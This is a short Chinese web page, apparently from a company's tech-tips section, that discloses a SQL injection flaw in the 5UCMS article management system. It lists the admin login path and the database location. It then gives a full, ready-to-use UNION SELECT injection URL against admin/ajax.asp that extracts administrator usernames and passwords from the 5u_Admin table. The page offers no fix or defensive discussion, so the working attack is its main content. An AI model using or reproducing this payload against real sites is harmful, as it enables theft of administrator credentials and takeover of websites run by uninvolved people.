知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询：361652718 513960520
当前位置 > 首页 > 知识学堂 > 常见技术问题
无忧网络文章管理系统（5UCMS）注入漏洞
更新时间：2012-05-14 | 发布人：本站 | 点击率：520 次
后台地址：admin/Login.asp

 

数据库路径：inc/db  目录下

漏洞地址：

 
admin/ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from 5u_Admin&id=1%20and%201=2%20UNION%20select%201%20from 5u_Admin
 获取后台账号和密码

 

 

 


分享到： QQ空间 新浪微博 开心网 人人网
相关文章